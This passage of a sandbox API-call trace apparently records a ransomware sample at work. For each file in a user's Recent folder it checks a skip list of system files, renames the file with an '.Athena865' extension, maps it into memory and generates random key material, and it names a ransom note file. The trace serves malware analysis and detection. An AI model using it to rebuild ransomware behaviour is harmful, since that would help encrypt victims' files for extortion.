hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0102.467] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0102.467] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0102.467] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0102.467] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x528250 [0102.467] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0102.467] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528250 | out: hHeap=0x4f0000) returned 1 [0102.467] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0102.467] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52a800 [0102.467] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0102.467] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52a800 | out: hHeap=0x4f0000) returned 1 [0102.467] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0102.467] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0102.467] CloseHandle (hObject=0x17c) returned 1 [0102.468] CloseHandle (hObject=0x154) returned 1 [0102.468] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540c58 | out: hHeap=0x4f0000) returned 1 [0102.468] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0102.468] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0102.468] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d97bc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2da822a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2daa8400, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x43a3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5afe4de1b92fc382.customDestinations-ms", cAlternateFileName="5AFE4D~1.CUS")) returned 1 [0102.468] lstrcmpiW (lpString1="5afe4de1b92fc382.customDestinations-ms", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.468] lstrcmpiW (lpString1="5afe4de1b92fc382.customDestinations-ms", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.468] lstrcmpiW (lpString1="5afe4de1b92fc382.customDestinations-ms", lpString2=".") returned 1 [0102.468] lstrcmpiW (lpString1="5afe4de1b92fc382.customDestinations-ms", lpString2="..") returned 1 [0102.468] lstrcmpiW (lpString1="5afe4de1b92fc382.customDestinations-ms", lpString2="windows") returned -1 [0102.468] lstrcmpiW (lpString1="5afe4de1b92fc382.customDestinations-ms", lpString2="bootmgr") returned -1 [0102.468] lstrcmpiW (lpString1="5afe4de1b92fc382.customDestinations-ms", lpString2="temp") returned -1 [0102.468] lstrcmpiW (lpString1="5afe4de1b92fc382.customDestinations-ms", lpString2="pagefile.sys") returned -1 [0102.468] lstrcmpiW (lpString1="5afe4de1b92fc382.customDestinations-ms", lpString2="boot") returned -1 [0102.468] lstrcmpiW (lpString1="5afe4de1b92fc382.customDestinations-ms", lpString2="ids.txt") returned -1 [0102.468] lstrcmpiW (lpString1="5afe4de1b92fc382.customDestinations-ms", lpString2="ntuser.dat") returned -1 [0102.468] lstrcmpiW (lpString1="5afe4de1b92fc382.customDestinations-ms", lpString2="perflogs") returned -1 [0102.468] lstrcmpiW (lpString1="5afe4de1b92fc382.customDestinations-ms", lpString2="MSBuild") returned -1 [0102.468] lstrlenW (lpString="5afe4de1b92fc382.customDestinations-ms") returned 38 [0102.468] lstrcpyW (in: lpString1=0x241e8da, lpString2="5afe4de1b92fc382.customDestinations-ms" | out: lpString1="5afe4de1b92fc382.customDestinations-ms") returned="5afe4de1b92fc382.customDestinations-ms" [0102.468] lstrlenW (lpString="5afe4de1b92fc382.customDestinations-ms") returned 38 [0102.468] lstrlenW (lpString="Athena865") returned 9 [0102.468] lstrcmpiW (lpString1="ations-ms", lpString2="Athena865") returned 1 [0102.468] lstrlenW (lpString=".dll") returned 4 [0102.468] lstrcmpiW (lpString1="5afe4de1b92fc382.customDestinations-ms", lpString2=".dll") returned 1 [0102.469] lstrlenW (lpString=".lnk") returned 4 [0102.469] lstrcmpiW (lpString1="5afe4de1b92fc382.customDestinations-ms", lpString2=".lnk") returned 1 [0102.469] lstrlenW (lpString=".ini") returned 4 [0102.469] lstrcmpiW (lpString1="5afe4de1b92fc382.customDestinations-ms", lpString2=".ini") returned 1 [0102.469] lstrlenW (lpString=".sys") returned 4 [0102.469] lstrcmpiW (lpString1="5afe4de1b92fc382.customDestinations-ms", lpString2=".sys") returned 1 [0102.469] lstrlenW (lpString="5afe4de1b92fc382.customDestinations-ms") returned 38 [0102.469] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\CustomDestinations\\5afe4de1b92fc382.customDestinations-ms.Athena865") returned 121 [0102.469] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\CustomDestinations\\5afe4de1b92fc382.customDestinations-ms" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\customdestinations\\5afe4de1b92fc382.customdestinations-ms"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\CustomDestinations\\5afe4de1b92fc382.customDestinations-ms.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\customdestinations\\5afe4de1b92fc382.customdestinations-ms.athena865"), dwFlags=0x1) returned 1 [0102.470] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\CustomDestinations\\5afe4de1b92fc382.customDestinations-ms.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\customdestinations\\5afe4de1b92fc382.customdestinations-ms.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0102.471] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=17315) returned 1 [0102.471] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0102.471] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540c58 [0102.471] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0102.471] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5193c0) returned 1 [0102.472] CryptGenRandom (in: hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0102.472] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0102.472] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x46b0, lpName=0x0) returned 0x17c [0102.473] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x46b0) returned 0x100000 [0102.475] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5193c0) returned 1 [0102.475] CryptGenRandom (in: hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0102.475] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0102.475] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0102.475] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0102.475] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x528250 [0102.475] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0102.476] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528250 | out: hHeap=0x4f0000) returned 1 [0102.476] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0102.476] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52a800 [0102.476] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0102.476] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52a800 | out: hHeap=0x4f0000) returned 1 [0102.476] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0102.476] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0102.476] CloseHandle (hObject=0x17c) returned 1 [0102.476] CloseHandle (hObject=0x154) returned 1 [0102.476] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540c58 | out: hHeap=0x4f0000) returned 1 [0102.476] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0102.476] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0102.477] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85096390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x96ec4eb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x96ec4eb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x17d4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5d696d521de238c3.customDestinations-ms", cAlternateFileName="5D696D~1.CUS")) returned 1 [0102.477] lstrcmpiW (lpString1="5d696d521de238c3.customDestinations-ms", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.477] lstrcmpiW (lpString1="5d696d521de238c3.customDestinations-ms", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.477] lstrcmpiW (lpString1="5d696d521de238c3.customDestinations-ms", lpString2=".") returned 1 [0102.477] lstrcmpiW (lpString1="5d696d521de238c3.customDestinations-ms", lpString2="..") returned 1 [0102.477] lstrcmpiW (lpString1="5d696d521de238c3.customDestinations-ms", lpString2="windows") returned -1 [0102.477] lstrcmpiW (lpString1="5d696d521de238c3.customDestinations-ms", lpString2="bootmgr") returned -1 [0102.477] lstrcmpiW (lpString1="5d696d521de238c3.customDestinations-ms", lpString2="temp") returned -1 [0102.477] lstrcmpiW (lpString1="5d696d521de238c3.customDestinations-ms", lpString2="pagefile.sys") returned -1 [0102.477] lstrcmpiW (lpString1="5d696d521de238c3.customDestinations-ms", lpString2="boot") returned -1 [0102.477] lstrcmpiW (lpString1="5d696d521de238c3.customDestinations-ms", lpString2="ids.txt") returned -1 [0102.477] lstrcmpiW (lpString1="5d696d521de238c3.customDestinations-ms", lpString2="ntuser.dat") returned -1 [0102.477] lstrcmpiW (lpString1="5d696d521de238c3.customDestinations-ms", lpString2="perflogs") returned -1 [0102.477] lstrcmpiW (lpString1="5d696d521de238c3.customDestinations-ms", lpString2="MSBuild") returned -1 [0102.477] lstrlenW (lpString="5d696d521de238c3.customDestinations-ms") returned 38 [0102.477] lstrcpyW (in: lpString1=0x241e8da, lpString2="5d696d521de238c3.customDestinations-ms" | out: lpString1="5d696d521de238c3.customDestinations-ms") returned="5d696d521de238c3.customDestinations-ms" [0102.477] lstrlenW (lpString="5d696d521de238c3.customDestinations-ms") returned 38 [0102.477] lstrlenW (lpString="Athena865") returned 9 [0102.477] lstrcmpiW (lpString1="ations-ms", lpString2="Athena865") returned 1 [0102.477] lstrlenW (lpString=".dll") returned 4 [0102.477] lstrcmpiW (lpString1="5d696d521de238c3.customDestinations-ms", lpString2=".dll") returned 1 [0102.477] lstrlenW (lpString=".lnk") returned 4 [0102.477] lstrcmpiW (lpString1="5d696d521de238c3.customDestinations-ms", lpString2=".lnk") returned 1 [0102.477] lstrlenW (lpString=".ini") returned 4 [0102.477] lstrcmpiW (lpString1="5d696d521de238c3.customDestinations-ms", lpString2=".ini") returned 1 [0102.477] lstrlenW (lpString=".sys") returned 4 [0102.477] lstrcmpiW (lpString1="5d696d521de238c3.customDestinations-ms", lpString2=".sys") returned 1 [0102.477] lstrlenW (lpString="5d696d521de238c3.customDestinations-ms") returned 38 [0102.477] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\CustomDestinations\\5d696d521de238c3.customDestinations-ms.Athena865") returned 121 [0102.478] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\CustomDestinations\\5d696d521de238c3.customDestinations-ms" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\customdestinations\\5d696d521de238c3.customdestinations-ms"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\CustomDestinations\\5d696d521de238c3.customDestinations-ms.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\customdestinations\\5d696d521de238c3.customdestinations-ms.athena865"), dwFlags=0x1) returned 1 [0102.482] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\CustomDestinations\\5d696d521de238c3.customDestinations-ms.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\customdestinations\\5d696d521de238c3.customdestinations-ms.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0102.482] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6100) returned 1 [0102.482] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0102.483] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540c58 [0102.483] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0102.483] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5193c0) returned 1 [0102.483] CryptGenRandom (in: hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0102.483] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0102.483] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1ae0, lpName=0x0) returned 0x17c [0102.485] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1ae0) returned 0x100000 [0102.486] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5193c0) returned 1 [0102.487] CryptGenRandom (in: hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0102.487] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0102.487] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0102.487] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0102.487] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x528250 [0102.487] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0102.487] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528250 | out: hHeap=0x4f0000) returned 1 [0102.487] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0102.487] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52a800 [0102.487] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0102.487] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52a800 | out: hHeap=0x4f0000) returned 1 [0102.487] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0102.487] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0102.488] CloseHandle (hObject=0x17c) returned 1 [0102.488] CloseHandle (hObject=0x154) returned 1 [0102.488] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540c58 | out: hHeap=0x4f0000) returned 1 [0102.488] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0102.488] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0102.488] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d97bc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dc975e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dc975e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7e4dca80246863e3.customDestinations-ms", cAlternateFileName="7E4DCA~1.CUS")) returned 1 [0102.488] lstrcmpiW (lpString1="7e4dca80246863e3.customDestinations-ms", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.488] lstrcmpiW (lpString1="7e4dca80246863e3.customDestinations-ms", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.488] lstrcmpiW (lpString1="7e4dca80246863e3.customDestinations-ms", lpString2=".") returned 1 [0102.488] lstrcmpiW (lpString1="7e4dca80246863e3.customDestinations-ms", lpString2="..") returned 1 [0102.488] lstrcmpiW (lpString1="7e4dca80246863e3.customDestinations-ms", lpString2="windows") returned -1 [0102.488] lstrcmpiW (lpString1="7e4dca80246863e3.customDestinations-ms", lpString2="bootmgr") returned -1 [0102.488] lstrcmpiW (lpString1="7e4dca80246863e3.customDestinations-ms", lpString2="temp") returned -1 [0102.488] lstrcmpiW (lpString1="7e4dca80246863e3.customDestinations-ms", lpString2="pagefile.sys") returned -1 [0102.488] lstrcmpiW (lpString1="7e4dca80246863e3.customDestinations-ms", lpString2="boot") returned -1 [0102.488] lstrcmpiW (lpString1="7e4dca80246863e3.customDestinations-ms", lpString2="ids.txt") returned -1 [0102.488] lstrcmpiW (lpString1="7e4dca80246863e3.customDestinations-ms", lpString2="ntuser.dat") returned -1 [0102.488] lstrcmpiW (lpString1="7e4dca80246863e3.customDestinations-ms", lpString2="perflogs") returned -1 [0102.488] lstrcmpiW (lpString1="7e4dca80246863e3.customDestinations-ms", lpString2="MSBuild") returned -1 [0102.488] lstrlenW (lpString="7e4dca80246863e3.customDestinations-ms") returned 38 [0102.488] lstrcpyW (in: lpString1=0x241e8da, lpString2="7e4dca80246863e3.customDestinations-ms" | out: lpString1="7e4dca80246863e3.customDestinations-ms") returned="7e4dca80246863e3.customDestinations-ms" [0102.489] lstrlenW (lpString="7e4dca80246863e3.customDestinations-ms") returned 38 [0102.489] lstrlenW (lpString="Athena865") returned 9 [0102.489] lstrcmpiW (lpString1="ations-ms", lpString2="Athena865") returned 1 [0102.489] lstrlenW (lpString=".dll") returned 4 [0102.489] lstrcmpiW (lpString1="7e4dca80246863e3.customDestinations-ms", lpString2=".dll") returned 1 [0102.489] lstrlenW (lpString=".lnk") returned 4 [0102.489] lstrcmpiW (lpString1="7e4dca80246863e3.customDestinations-ms", lpString2=".lnk") returned 1 [0102.489] lstrlenW (lpString=".ini") returned 4 [0102.489] lstrcmpiW (lpString1="7e4dca80246863e3.customDestinations-ms", lpString2=".ini") returned 1 [0102.489] lstrlenW (lpString=".sys") returned 4 [0102.489] lstrcmpiW (lpString1="7e4dca80246863e3.customDestinations-ms", lpString2=".sys") returned 1 [0102.489] lstrlenW (lpString="7e4dca80246863e3.customDestinations-ms") returned 38 [0102.489] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\CustomDestinations\\7e4dca80246863e3.customDestinations-ms.Athena865") returned 121 [0102.489] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\CustomDestinations\\7e4dca80246863e3.customDestinations-ms" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\customdestinations\\7e4dca80246863e3.customdestinations-ms"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\CustomDestinations\\7e4dca80246863e3.customDestinations-ms.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\customdestinations\\7e4dca80246863e3.customdestinations-ms.athena865"), dwFlags=0x1) returned 1 [0102.491] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\CustomDestinations\\7e4dca80246863e3.customDestinations-ms.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\customdestinations\\7e4dca80246863e3.customdestinations-ms.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0102.491] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=24) returned 1 [0102.491] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0102.491] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540c58 [0102.491] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0102.491] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5193c0) returned 1 [0102.492] CryptGenRandom (in: hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0102.492] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0102.492] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x320, lpName=0x0) returned 0x17c [0102.495] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x320) returned 0x100000 [0102.496] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5193c0) returned 1 [0102.497] CryptGenRandom (in: hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0102.497] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0102.497] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0102.497] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0102.497] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x528250 [0102.497] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0102.497] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528250 | out: hHeap=0x4f0000) returned 1 [0102.497] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0102.497] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52a800 [0102.497] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0102.497] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52a800 | out: hHeap=0x4f0000) returned 1 [0102.497] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0102.497] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0102.497] CloseHandle (hObject=0x17c) returned 1 [0102.497] CloseHandle (hObject=0x154) returned 1 [0102.497] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540c58 | out: hHeap=0x4f0000) returned 1 [0102.498] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0102.498] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0102.498] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5cb126c0, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5ddd1400, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x5ddd1400, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x23ff, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="be71009ff8bb02a2.customDestinations-ms", cAlternateFileName="BE7100~1.CUS")) returned 1 [0102.498] lstrcmpiW (lpString1="be71009ff8bb02a2.customDestinations-ms", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.498] lstrcmpiW (lpString1="be71009ff8bb02a2.customDestinations-ms", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.498] lstrcmpiW (lpString1="be71009ff8bb02a2.customDestinations-ms", lpString2=".") returned 1 [0102.498] lstrcmpiW (lpString1="be71009ff8bb02a2.customDestinations-ms", lpString2="..") returned 1 [0102.498] lstrcmpiW (lpString1="be71009ff8bb02a2.customDestinations-ms", lpString2="windows") returned -1 [0102.498] lstrcmpiW (lpString1="be71009ff8bb02a2.customDestinations-ms", lpString2="bootmgr") returned -1 [0102.498] lstrcmpiW (lpString1="be71009ff8bb02a2.customDestinations-ms", lpString2="temp") returned -1 [0102.498] lstrcmpiW (lpString1="be71009ff8bb02a2.customDestinations-ms", lpString2="pagefile.sys") returned -1 [0102.498] lstrcmpiW (lpString1="be71009ff8bb02a2.customDestinations-ms", lpString2="boot") returned -1 [0102.498] lstrcmpiW (lpString1="be71009ff8bb02a2.customDestinations-ms", lpString2="ids.txt") returned -1 [0102.498] lstrcmpiW (lpString1="be71009ff8bb02a2.customDestinations-ms", lpString2="ntuser.dat") returned -1 [0102.498] lstrcmpiW (lpString1="be71009ff8bb02a2.customDestinations-ms", lpString2="perflogs") returned -1 [0102.498] lstrcmpiW (lpString1="be71009ff8bb02a2.customDestinations-ms", lpString2="MSBuild") returned -1 [0102.498] lstrlenW (lpString="be71009ff8bb02a2.customDestinations-ms") returned 38 [0102.498] lstrcpyW (in: lpString1=0x241e8da, lpString2="be71009ff8bb02a2.customDestinations-ms" | out: lpString1="be71009ff8bb02a2.customDestinations-ms") returned="be71009ff8bb02a2.customDestinations-ms" [0102.498] lstrlenW (lpString="be71009ff8bb02a2.customDestinations-ms") returned 38 [0102.498] lstrlenW (lpString="Athena865") returned 9 [0102.498] lstrcmpiW (lpString1="ations-ms", lpString2="Athena865") returned 1 [0102.498] lstrlenW (lpString=".dll") returned 4 [0102.498] lstrcmpiW (lpString1="be71009ff8bb02a2.customDestinations-ms", lpString2=".dll") returned 1 [0102.498] lstrlenW (lpString=".lnk") returned 4 [0102.498] lstrcmpiW 